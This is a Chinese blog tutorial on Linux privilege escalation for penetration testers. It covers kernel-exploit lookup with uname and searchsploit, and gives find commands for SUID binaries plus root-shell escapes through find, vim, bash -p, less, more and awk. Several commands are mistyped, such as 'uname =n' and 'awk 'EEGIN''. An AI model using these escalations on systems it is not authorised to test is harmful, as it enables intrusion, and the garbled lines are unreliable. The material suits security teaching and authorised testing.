Linux提权详解(一)

在日常渗透测试过程中,总会遇到权限不足需要进行提权,提权的种类又有很多,我们应该怎么选择呢,于是就整理了部分常用的方法,供大家参考。

测试环境:kali、centos

一、内核溢出提权

        一般在利用系统内核漏洞进行提权的时候需要了解目标主机的内核版本号,在寻找相关的exp进行提权。

        我总结了一些在Linux中常用的查看系统信息的命令:

        

uname -a //显示所有信息
uname -m //只输出计算机类型
uname =n //只输出对外主机名
uname -r //纸打印内核版本
uname -s //输出操作系统
uname -v //输出内核编译时间
uname -p //输出系统架构
uname --help //帮助信息
uname --version // 查询版本信息

         当知道内核版本后可以使用kali的searchsploit去查找相应的内核漏洞信息或者在网上寻找。

Linux发行的版本:centos、redhat、ubuntu、kali等

 

        然后使用cat命令进行查看使用条件,在编译成可执行文件,通过创建好的后门上传到目标机器,然后使用gcc编译成可执行文件即可。

        kali漏洞数据库信息一般在/usr/share/exploitdb下

cat /usr/share/exploitdb/exploits/linux/local/5080.c

        不过一般内核提权的话是不建议使用的,因为可能会造成系统崩溃和一些不必要的损失,而且内核提权还需要有gpc的一些编译环境,内核提权的成功率比较低。

   二、SUID提权

        1、执行过程中,调用者会暂时获得该文件的所有者的权限,且权限只在程序中有效。
        2、如何设置suid权限,使用chmod

chmod u+s filename

 可以看到该文件已经获得suid权限

        3、我们可以通过以下几个命令来查找具有suid权限且所属组为root的文件,在将所有错误重定向到/dev/null。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {}

 

        4、已知的具有suid权限的二进制可执行文件有nmap、vim、bash、more、less、nano、cp、awk、find。

        find比较常用,find在系统中用来查找文件,同时也具有执行命令的能力,因此如果find有suid权限,则可以通过find执行的命令都将以root身份去运行。

首先创建一个文件

touch anyfile #必须要有的find anyfile -exec whoami \;

进入shell

find anyfile -exec '/bin/sh' \;
whoami

         vim

通过vim进入shell

vim.tiny#vim命令
set shell = '/bin/sh'shell

        bash

使用bash -i以root身份打开一个bash shellbash -p

        less

less /etc/passwd!/bin/sh

         more

这个根less一样

more /etc/passwd!/bin/sh

 awk

awk 'EEGIN' {system("/bin/bash")}
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我像一条狗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值